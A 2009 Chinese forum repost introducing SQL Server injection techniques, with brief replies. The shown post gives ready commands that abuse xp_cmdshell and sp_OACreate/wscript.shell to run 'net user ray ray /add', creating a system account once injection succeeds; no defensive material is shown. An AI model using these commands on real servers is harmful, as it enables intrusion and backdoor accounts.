SQL Server注入大全及防御

ice0940 2009-04-23 09:53:52
转帖:web工程师之家
SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

  一、执行系统命令

  利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

  exec master..xp_cmdshell 'net user ray ray /add'

  xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。

利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

  DECLARE @shell INT

  EXEC SP_OAcreate 'wscript.shell',@shell out

  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

更多详细步骤【带图操作】请查看原文
...全文
262 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
annjoy303 2009-05-17
  • 打赏
  • 举报
回复
回帖是一种美德!每天回帖即可获得 10 分可用分!
MadeInTexas 2009-05-11
  • 打赏
  • 举报
回复
但愿可以
三楼の郎 2009-05-06
  • 打赏
  • 举报
回复
没什么用处,攻击手段也很常规,防御方法没说到要点.
lzzz999 2009-05-04
  • 打赏
  • 举报
回复
学习
igelf 2009-04-24
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 ice0940 的回复:]
原文地址:http://zggov.com/database/mssql/html/2009416738.html
[/Quote]
拜托.下次发地址时加上url.这样发..
http://zggov.com/database/mssql/html/2009416738.html
happy664618843 2009-04-23
  • 打赏
  • 举报
回复
顶..............还可以
ice0940 2009-04-23
  • 打赏
  • 举报
回复
原文地址:http://zggov.com/database/mssql/html/2009416738.html
qiuqingpo 2009-04-23
  • 打赏
  • 举报
回复
还好!
沉序员 2009-04-23
  • 打赏
  • 举报
回复
ke yi?

62,268

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧